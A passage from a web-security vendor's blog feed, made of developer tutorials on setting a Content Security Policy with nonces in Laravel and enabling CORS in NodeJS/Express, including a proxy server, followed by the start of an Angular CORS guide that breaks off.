Now we need to tell Laravel to use our custom content policy instead of the preconfigured basic policy. To do so, edit the config/csp.php file and change the &amp;#39;policy&amp;#39; entry to point to your custom class like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;?php&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;return [&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    /*
     * A policy will determine which CSP headers will be set. A valid CSP policy is
     * any class that extends `Spatie\Csp\Policies\Policy`
     */
    //&amp;#39;policy&amp;#39; =&amp;gt; Spatie\Csp\Policies\Basic::class,
    &amp;#39;policy&amp;#39; =&amp;gt; App\ContentPolicy::class,&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;...&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;While we&amp;#39;re in this configuration file, let&amp;#39;s quickly look at some other things we can set up here:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;By adding our class as &amp;#39;report_only_policy&amp;#39; instead of &amp;#39;policy&amp;#39;, we can instruct the browser to report policy violations but not enforce them.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Through &amp;#39;report_uri&amp;#39;, we can implement remote reporting.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;With &amp;#39;enabled&amp;#39;, we can quickly turn CSP on or off.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;What Are the Kinds of Directives I Can Specify?&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s take a more general look at adding additional directives:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;You use the &lt;b&gt;addDirective()&lt;/b&gt; method in your policy file to add additional rules to your policy. It takes two parameters.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The first parameter specifies the type of content or fetch action in the browser that the directive handles. With &lt;b&gt;Directive::DEFAULT&lt;/b&gt;, it applies to all kinds of content. Using &lt;b&gt;Directive::IMG&lt;/b&gt;, for example, only applies to fetching images. Other commonly use directives are &lt;b&gt;Directive::MEDIA&lt;/b&gt; (for embedded audio and video content), &lt;b&gt;Directive::SCRIPT&lt;/b&gt; (for scripts), and &lt;b&gt;Directive::STYLE&lt;/b&gt; (for stylesheets).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The second parameter specifies the origin of the content, which can be a domain with additional wildcards. Alternatively, you can select a keyword. &lt;b&gt;Keyword::SELF&lt;/b&gt; refers to the source your page loads from, and &lt;b&gt;Keyword::NONE&lt;/b&gt; disables this type of content for any origin.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;How Can I Add Nonces to My HTML Code?&lt;/h2&gt;&lt;p&gt;As mentioned earlier, the default CSP behavior is to disable inline scripts and styles. While it&amp;#39;s possible to allow them globally, you should generally rely on hashes or nonces as the safer solution.&lt;/p&gt;&lt;p&gt;A nonce is a unique number that changes for every request. The browser only executes scripts that have the correct nonce. The default configuration of the Laravel CSP plugin generates nonces and adds them to the &lt;b&gt;Content-Security-Policy&lt;/b&gt; header. The only thing left for you to do is to add them to your HTML output.&lt;/p&gt;&lt;p&gt;In a Laravel project, you typically use Blade templates for your HTML. Search for all instances of &lt;b&gt;&amp;lt;script&lt;/b&gt; or &lt;b&gt;&amp;lt;style&lt;/b&gt; in your templates and modify them like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;style nonce=&amp;quot;{{ csp_nonce() }}&amp;quot;&amp;gt;
   ...
&amp;lt;/style&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;script nonce=&amp;quot;{{ csp_nonce() }}&amp;quot;&amp;gt;
   ...
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;That&amp;#39;s all you need to do. The &lt;b&gt;csp_nonce()&lt;/b&gt; helper function takes care of everything. You never have to deal with nonces directly.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;To Summarize&lt;/h2&gt;&lt;p&gt;A content security policy prevents many injection-style attacks and should be a staple of a secure web application. A CSP is an HTTP header with fine-grained directives that tells the browser what kinds of content it may load for the page from which origin. For Laravel applications, a plugin library allows adding CSPs with PHP code. The library also handles nonces that secure inline scripts and styles to simplify the deployment of CSP.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Lukas Rosenstock. &lt;/i&gt;&lt;a href=&quot;https://lukasrosenstock.net/&quot;&gt;&lt;u&gt;&lt;i&gt;Lukas&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an independent PHP and web developer turned API consultant and technical writer. He works with clients of all sizes to design, implement, and document great APIs. His focus is on creating integrations and mashups that highlight the values of APIs, and educate developers about their potential.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[NodeJS CORS Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/nodejs-cors-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Web browsers prevent unknown websites from accessing your application programming interfaces and services. This way, your server shares its resources only with clients that are on the same domain. However, there are situations where you want to lift this guard or get more fine-grained control over which websites access your server&amp;#39;s resources. In such cases, you implement &lt;a href=&quot;https://en.wikipedia.org/wiki/Cross-origin_resource_sharing&quot;&gt;&lt;u&gt;CORS (cross-origin resource sharing)&lt;/u&gt;&lt;/a&gt; on your server. &lt;/p&gt;&lt;p&gt;In this post, I&amp;#39;ll talk about what CORS is and why it&amp;#39;s useful. I&amp;#39;ll then walk you through how you can enable CORS in your NodeJS application. You can also &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;learn more about the basics of CORS here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;A Bird&amp;#39;s-Eye View of CORS&lt;/h2&gt;&lt;p&gt;Let&amp;#39;s say your server runs on https://domain1.com. You could serve images, fonts, or have simple web services that send back some data. Now imagine there&amp;#39;s another website that runs on https://domain2.com that wants to access your services and get some data from your server. To do so, this website makes an HTTP request to one of your API endpoints. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Unknown website requesting data from your server.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Every HTTP request comes with request headers that contain information about the request. So in our example, when https://domain2.com sends an HTTP request to your server, it also sends an origin property inside the request&amp;#39;s header. This origin property specifies the domain of the source that has made the request. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Origin in HTTP request headers.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;The browser on which domain2 sends a request to domain1 implements a same-origin policy. Because of this policy, the browser blocks all requests sent from one origin to another. Therefore, web browsers by default don&amp;#39;t allow cross-origin resource sharing. &lt;/p&gt;&lt;p&gt;&lt;i&gt;CORS request blocked by the browser.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;This built-in mechanism acts as a safety blanket for web servers. It protects unknown websites from accessing their resources. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Why Would You Want to Implement CORS?&lt;/h2&gt;&lt;p&gt;From a security standpoint, browsers assume that your server doesn&amp;#39;t want to share resources with websites it doesn&amp;#39;t know. However, there are many situations where you explicitly want to enable CORS on your server. &lt;/p&gt;&lt;h3&gt;Open or Public APIs&lt;/h3&gt;&lt;p&gt;&lt;i&gt;Public or open APIs with CORS enabled.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;A lot of times, you want other developers to access your APIs. Developer-specific tools, Software as a Service companies, and so on have open APIs that anyone can use on their website. &lt;/p&gt;&lt;p&gt;For instance, you may want to create an API service that allows developers to check the SEO scores of their websites. In that case, you&amp;#39;d have to keep an open API that anyone can conveniently access. &lt;/p&gt;&lt;p&gt;Free, open, and public APIs are very popular today and are used in many businesses and side projects. &lt;a href=&quot;https://github.com/public-apis/public-apis&quot;&gt;&lt;u&gt;Here&amp;#39;s an exhaustive list of free APIs&lt;/u&gt;&lt;/a&gt; that have CORS enabled so any website can make a request to them. &lt;/p&gt;&lt;h3&gt;Allow Access to Multiple Environments of the Same Project&lt;/h3&gt;&lt;p&gt;&lt;i&gt;Multiple project environments.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#39;s say you&amp;#39;re pushing out a revamped version of your website. Before you push your code to production, you usually test it first in a test environment. In this case, you test your front end against different environments. You could first test it at a staging environment, then a pre-production environment, and so on. In this case, your different front ends may fail to communicate with your server if you don&amp;#39;t have CORS enabled. &lt;/p&gt;&lt;h2&gt;What a CORS Error Looks Like&lt;/h2&gt;&lt;p&gt;Enough theory. Let&amp;#39;s see CORS in action! &lt;/p&gt;&lt;p&gt;We&amp;#39;ll create a simple server that returns some JSON data, plus a minimal front end in React that consumes that data. &lt;/p&gt;&lt;h3&gt;Back-End Server&lt;/h3&gt;&lt;p&gt;Create a new &lt;a href=&quot;https://www.npmjs.com/&quot;&gt;&lt;u&gt;npm&lt;/u&gt;&lt;/a&gt; project by running: &lt;/p&gt;&lt;p&gt;&lt;code&gt;mkdir colors-server &amp;amp;&amp;amp; cd colors-server &amp;amp;&amp;amp; npm init -y&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Then install Express, a lightweight framework for creating server-side applications in NodeJS: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm i express&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Inside the root directory, create a new file called &lt;b&gt;app.js&lt;/b&gt; with the following code: &lt;/p&gt;&lt;p&gt;&lt;code&gt;const express=require(&amp;#39;express&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;const app=express();&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;const PORT=5000;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/&amp;#39;,(req,res)=&amp;gt;{
    console.log(colors)
    res.send(&amp;#39;Welcome to NodeJS + Express CORS Server! 🎈&amp;#39;)
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.listen(PORT,()=&amp;gt;{
    console.log(`Server running on port ${PORT}`)
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above code creates a simple NodeJS + Express server that runs on &lt;u&gt;http://localhost:5000&lt;/u&gt;. &lt;/p&gt;&lt;p&gt;Next, let&amp;#39;s create an endpoint &lt;b&gt;/colors&lt;/b&gt; that returns some JSON data. For sample data, we can create a JSON file called &lt;b&gt;colors.json&lt;/b&gt; inside the root directory with the following data that I found &lt;a href=&quot;https://opensource.adobe.com/Spry/samples/data_region/JSONDataSetSample.html&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;code&gt;{&amp;quot;colors&amp;quot;:[
	{
		&amp;quot;color&amp;quot;: &amp;quot;red&amp;quot;,
		&amp;quot;value&amp;quot;: &amp;quot;#f00&amp;quot;
	},
	{
		&amp;quot;color&amp;quot;: &amp;quot;green&amp;quot;,
		&amp;quot;value&amp;quot;: &amp;quot;#0f0&amp;quot;
	},
	{
		&amp;quot;color&amp;quot;: &amp;quot;blue&amp;quot;,
		&amp;quot;value&amp;quot;: &amp;quot;#00f&amp;quot;
	},
	{
		&amp;quot;color&amp;quot;: &amp;quot;cyan&amp;quot;,
		&amp;quot;value&amp;quot;: &amp;quot;#0ff&amp;quot;
	},
	{
		&amp;quot;color&amp;quot;: &amp;quot;magenta&amp;quot;,
		&amp;quot;value&amp;quot;: &amp;quot;#f0f&amp;quot;
	},
	{
		&amp;quot;color&amp;quot;: &amp;quot;yellow&amp;quot;,
		&amp;quot;value&amp;quot;: &amp;quot;#ff0&amp;quot;
	},
	{
		&amp;quot;color&amp;quot;: &amp;quot;black&amp;quot;,
		&amp;quot;value&amp;quot;: &amp;quot;#000&amp;quot;
	}
]
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Inside the &lt;b&gt;app.js&lt;/b&gt; file, add the following endpoint: &lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/colors&amp;#39;,(req,res)=&amp;gt;{
    res.json(colors)
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Remember to import the &lt;b&gt;colors&lt;/b&gt; object at the top from the &lt;b&gt;colors.json&lt;/b&gt; file, as shown below: &lt;/p&gt;&lt;p&gt;&lt;code&gt;const colors=require(&amp;#39;./colors.json&amp;#39;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#39;s run the app now: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm start&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you now visit http://localhost:5000/colors, you should get back the following JSON data:&lt;/p&gt;&lt;p&gt;&lt;i&gt;GET colors API output.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Great! Let&amp;#39;s try to request this API from our front-end application. &lt;/p&gt;&lt;h3&gt;Front-End Application&lt;/h3&gt;&lt;p&gt;Create a new React app by running the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npx create-react-app colors-app&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Inside the &lt;b&gt;App.js&lt;/b&gt; file, add the following code: &lt;/p&gt;&lt;p&gt;&lt;code&gt;import &amp;#39;./App.css&amp;#39;;
import {useState} from &amp;#39;react&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;function App() {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  const [colors,setColors]=useState();&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  const getColors=async()=&amp;gt;{
    const response=await fetch(&amp;#39;http://localhost:5000/colors&amp;#39;)
    const data=await response.json();
    console.log({data});
    setColors(data)
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  return (
    &amp;lt;div className=&amp;quot;App&amp;quot;&amp;gt;
      &amp;lt;header className=&amp;quot;App-header&amp;quot;&amp;gt;
        &amp;lt;p&amp;gt;
          Welcome to the &amp;lt;b&amp;gt;colors app! 🌈&amp;lt;/b&amp;gt;
        &amp;lt;/p&amp;gt;
        &amp;lt;button
          onClick={getColors}
        &amp;gt;
          Get Colors!
        &amp;lt;/button&amp;gt;
        &amp;lt;p&amp;gt;
          {
            colors &amp;amp;&amp;amp; JSON.stringify(colors)
          }
        &amp;lt;/p&amp;gt;
      &amp;lt;/header&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;export default App;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above code renders a button on the page that fires a function when clicked. Inside that function, we simply make an API call to the endpoint http://localhost:5000/colors and display that data on the page. I also added some simple styles for the button inside the &lt;b&gt;index.css&lt;/b&gt; file: &lt;/p&gt;&lt;p&gt;&lt;code&gt;button {
  border: none;
  outline: none;
  padding: 10px 20px;
  border-radius: 2px;
  cursor: pointer;
  background-color: #fff;
  color: #282c34;
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you now run the &lt;b&gt;npm start&lt;/b&gt; command, you should see the following page: &lt;/p&gt;&lt;p&gt;&lt;i&gt;Front end.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Awesome! Let&amp;#39;s click the button to see what happens. &lt;/p&gt;&lt;p&gt;We were supposed to get some data rendered on the page, right? But that didn&amp;#39;t happen. If you open your browser&amp;#39;s console, you&amp;#39;ll see an error like this: &lt;/p&gt;&lt;p&gt;&lt;i&gt;CORS error on front end.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;As we saw earlier, the browser blocked our request because our front end and back end are of different origins. You can further verify this by going to the network tab and inspecting the particular network request. &lt;/p&gt;&lt;p&gt;&lt;i&gt;Different origins of front end and back end.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Now that you know what a typical CORS error looks like, let&amp;#39;s see how we can enable CORS on our server. &lt;/p&gt;&lt;h2&gt;How to Enable CORS on a Server&lt;/h2&gt;&lt;p&gt;There&amp;#39;s more than one way to enable CORS on the server. In this section, we&amp;#39;ll explore two popular methods. &lt;/p&gt;&lt;h3&gt;Set Access-Control-Allow-Origin in Response Header&lt;/h3&gt;&lt;p&gt;We can allow certain or all origins to request a resource from our APIs by sending back a property in the response. This property, called Access-Control-Allow-Origin, can be configured on the headers of our response inside the request handler. &lt;/p&gt;&lt;h3&gt;For Public/Open APIs&lt;/h3&gt;&lt;p&gt;You can specify the value of this property to be * for any origin or website to access the API. As a result, when the browser sees this value, it allows the website to access the resource from the API regardless of its domain or origin. &lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/colors&amp;#39;,(req,res)=&amp;gt;{
    res.set(&amp;#39;Access-Control-Allow-Origin&amp;#39;, &amp;#39;*&amp;#39;);
    res.json(colors)
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you click the &lt;b&gt;Get Colors!&lt;/b&gt; button on the front end, the request should proceed, and you should see the JSON data on the front end: &lt;/p&gt;&lt;p&gt;&lt;i&gt;CORS enabled using wildcard property.&lt;/i&gt;&lt;/p&gt;&lt;h3&gt;For Specific Websites&lt;/h3&gt;&lt;p&gt;Alternately, if you want only users from a certain origin to access your APIs, you can set a specific value to this property. This approach is more suited for the use case where you want to enable CORS for different environments.&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/colors&amp;#39;,(req,res)=&amp;gt;{
    res.set(&amp;#39;Access-Control-Allow-Origin&amp;#39;, &amp;#39;http://localhost:3000&amp;#39;);
    res.json(colors)
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The effect should be the same. If you click the &lt;b&gt;Get Colors!&lt;/b&gt; button, you should see the data rendered on the page. &lt;/p&gt;&lt;h3&gt;Use the cors Express Middleware&lt;/h3&gt;&lt;p&gt;The &lt;a href=&quot;http://expressjs.com/en/resources/middleware/cors.html&quot;&gt;&lt;u&gt;cors&lt;/u&gt;&lt;/a&gt; npm module provides middleware that you can use in your request handlers. It&amp;#39;s simple to use, so let&amp;#39;s get started by installing it in our project first: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm i cors&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Import this module at the top: &lt;/p&gt;&lt;p&gt;&lt;code&gt;const cors=require(&amp;#39;cors&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, invoke this middleware in our Express app: &lt;/p&gt;&lt;p&gt;&lt;code&gt;app.use(cors())&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now all requests received by the server will have cors enabled in them. You can also customize this by passing an options object inside the &lt;b&gt;cors()&lt;/b&gt; method. Inside that object, you can specify the &lt;b&gt;origin&lt;/b&gt; property, similar to how you set Access-Control-Allow-Origin in the response header previously.&lt;/p&gt;&lt;p&gt;&lt;code&gt;const options = {
    origin: &amp;#39;http://localhost:3000&amp;#39;,
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.use(cors(options))&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;You can also specify more than one origin by passing an array to the &lt;b&gt;origin&lt;/b&gt; property inside your &lt;b&gt;options&lt;/b&gt; object: &lt;/p&gt;&lt;p&gt;&lt;code&gt;const options = {
    origin: [&amp;#39;http://localhost:3000&amp;#39;,&amp;#39;http://localhost:8080&amp;#39;],
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The above isn&amp;#39;t possible when you manually set the Access-Control-Allow-Origin property on the response header. If you pass more than one origin, the API would have cors disabled, and the error message would tell you to use only a single origin property. &lt;/p&gt;&lt;p&gt;If you want to specifically enable CORS for a particular request, you can call it inside the request handler: &lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/colors&amp;#39;,cors(),(req,res)=&amp;gt;{
    res.json(colors)
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This will enable CORS for the&lt;b&gt; /colors&lt;/b&gt; API endpoint only. &lt;/p&gt;&lt;h2&gt;Use a CORS-Enabled Server as a Proxy Server&lt;/h2&gt;&lt;p&gt;A lot of times, your front end needs to access some third-party APIs that have CORS disabled. Since you don&amp;#39;t have access to the back-end code of those third-party APIs, it&amp;#39;s not possible to implement the solutions discussed above. In this case, a proxy server comes in handy. It allows your front end to access resources from a CORS-disabled server. &lt;/p&gt;&lt;p&gt;You can create a proxy server by using your front end application&amp;#39;s module bundler. I have a &lt;a href=&quot;https://www.stackhawk.com/blog/react-cors-guide-what-it-is-and-how-to-enable-it/&quot;&gt;&lt;u&gt;detailed guide on how you can achieve this in React&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;The other method is creating your own custom proxy server. Let&amp;#39;s see how we can implement one. &lt;/p&gt;&lt;h3&gt;Implement a Custom Proxy Server&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s create another simple NodeJS + Express server with a single endpoint that returns some JSON data.&lt;/p&gt;&lt;p&gt;&lt;code&gt;mkdir cors-disabled-server &amp;amp;&amp;amp; cd cors-disabled-server &amp;amp;&amp;amp; npm init -y &amp;amp;&amp;amp; npm i express&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Inside the project, create an &lt;b&gt;index.js&lt;/b&gt; file with the following code: &lt;/p&gt;&lt;p&gt;&lt;code&gt;const express=require(&amp;#39;express&amp;#39;);

const app=express();

app.get(&amp;#39;/user&amp;#39;,(req,res)=&amp;gt;{
    res.send({
        &amp;#39;name&amp;#39;:&amp;#39;FuzzySid&amp;#39;,
        &amp;#39;age&amp;#39;:&amp;#39;22&amp;#39;
    })
})

app.listen(&amp;#39;8080&amp;#39;,()=&amp;gt;console.log(&amp;#39;CORS Disabled Server is Up and Running...&amp;#39;))&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#39;s try to use the http://localhost:8080/user endpoint inside our previously made &lt;b&gt;colors-app&lt;/b&gt;: &lt;/p&gt;&lt;p&gt;&lt;code&gt;import &amp;#39;./App.css&amp;#39;;
import {useState} from &amp;#39;react&amp;#39;;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;function App() {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  const [colors,setColors]=useState();&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  const getColors=async()=&amp;gt;{
    const response=await fetch(&amp;#39;http://localhost:5000/colors&amp;#39;)
    const data=await response.json();
    console.log({data});
    setColors(data)
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  const getUser=async()=&amp;gt;{
    const response=await fetch(&amp;#39;http://localhost:8080/user&amp;#39;)
    const data=await response.json();
    console.log({data});
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  return (
    &amp;lt;div className=&amp;quot;App&amp;quot;&amp;gt;
      &amp;lt;header className=&amp;quot;App-header&amp;quot;&amp;gt;
        &amp;lt;p&amp;gt;
          Welcome to the &amp;lt;b&amp;gt;colors app! 🌈&amp;lt;/b&amp;gt;
        &amp;lt;/p&amp;gt;
        &amp;lt;button
          onClick={getColors}
        &amp;gt;
          Get Colors!
        &amp;lt;/button&amp;gt;
        &amp;lt;br/&amp;gt;
        &amp;lt;button
          onClick={getUser}
        &amp;gt;
          Get User
        &amp;lt;/button&amp;gt;
        &amp;lt;p&amp;gt;
          {
            colors &amp;amp;&amp;amp; JSON.stringify(colors)
          }
        &amp;lt;/p&amp;gt;
      &amp;lt;/header&amp;gt;
    &amp;lt;/div&amp;gt;
  );
}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;export default App;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;We now have another button that makes a request to our third-party API running at http://locahost:8080/user. Since we don&amp;#39;t have CORS enabled on this endpoint, the browser will throw a CORS error when you click the button: &lt;/p&gt;&lt;p&gt;&lt;i&gt;CORS disabled server error on front end.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#39;s use our other NodeJS + Express app (&lt;b&gt;colors-server&lt;/b&gt;) as a proxy server. We&amp;#39;ll use that to make a request to the third-party user API and then use our own endpoint to send that data back to our front end. For that, we&amp;#39;ll first install &lt;a href=&quot;https://www.npmjs.com/package/axios&quot;&gt;&lt;u&gt;axios&lt;/u&gt;&lt;/a&gt; to make an HTTP request inside our NodeJS application: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm i axios&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Import axios at the top: &lt;/p&gt;&lt;p&gt;&lt;code&gt;const axios=require(&amp;#39;axios&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And add the following request handler: &lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/user&amp;#39;,async(req,res)=&amp;gt;{
    const response=await axios.get(&amp;#39;http://localhost:8080/user&amp;#39;);
    res.json(response.data)
})&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Now, we&amp;#39;ll make a request to this endpoint—that is, http://localhost:5000/user instead of http://localhost:8080/user. Since we have CORS enabled on our own server, we use it as a proxy server to fetch data from the server that our front end can&amp;#39;t directly access. &lt;/p&gt;&lt;p&gt;Let&amp;#39;s update the &lt;b&gt;getUser()&lt;/b&gt; function inside our React application to change the endpoint: &lt;/p&gt;&lt;p&gt;&lt;code&gt;  const getUser=async()=&amp;gt;{
    const response=await fetch(&amp;#39;http://localhost:5000/user&amp;#39;)
    const data=await response.json();
    console.log({data});
  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And now if we click the &lt;b&gt;Get User&lt;/b&gt; button, we should get back the JSON data:&lt;/p&gt;&lt;p&gt;&lt;i&gt;Proxy server for accessing data from CORS-disabled server.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;This is how you can enable CORS on third-party APIs using a custom proxy server. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Learning More&lt;/h2&gt;&lt;p&gt;This was all about CORS from a server-side perspective. I hope you got the hang of it and will be able to enable it for your NodeJS application using the methods discussed. You can find lots more information on &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt;. You can &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;create a free account&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt;&lt;u&gt;search the blog&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;Until next time! &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Siddhant Varma. &lt;/i&gt;&lt;a href=&quot;https://www.linkedin.com/in/siddhantvarma99/&quot;&gt;&lt;u&gt;&lt;i&gt;Siddhant&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a full stack JavaScript developer with expertise in frontend engineering. He’s worked with scaling multiple startups in India and has experience building products in the Ed-Tech and healthcare industries. Siddhant has a passion for teaching and a knack for writing. He&amp;#39;s also taught programming to many graduates, helping them become better future developers.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Angular CORS Guide: Examples and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/angular-cors-guide-examples-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;One of the key tasks of a front-end developer is integrating back-end APIs. However, a lot of times your front-end application needs to communicate with a server that&amp;#39;s of a different origin. This could be your own server or a third-party application programming interface you need in your application. &lt;/p&gt;&lt;p&gt;In all these cases, you may often run into a &lt;a href=&quot;https://en.wikipedia.org/wiki/Cross-origin_resource_sharing&quot;&gt;&lt;u&gt;cross-origin resource sharing (CORS) error&lt;/u&gt;&lt;/a&gt;. But what exactly is CORS? And how can you interact with your back-end services in a hassle-free way? In this post, I&amp;#39;ll talk about what CORS is and how you can enable it in your &lt;a href=&quot;https://angular.io/start&quot;&gt;&lt;u&gt;Angular application&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;The Origin Story&lt;/h2&gt;&lt;p&gt;Before we understand CORS, let&amp;#39;s do a quick refresher on how most modern web applications work. &lt;/p&gt;&lt;h3&gt;Server-Side Rendered Web Applications&lt;/h3&gt;&lt;p&gt;Let&amp;#39;s say you&amp;#39;re working with a website that sells candy to users. You can have a server that consists of different server-side routes that send back different HTML pages. This is 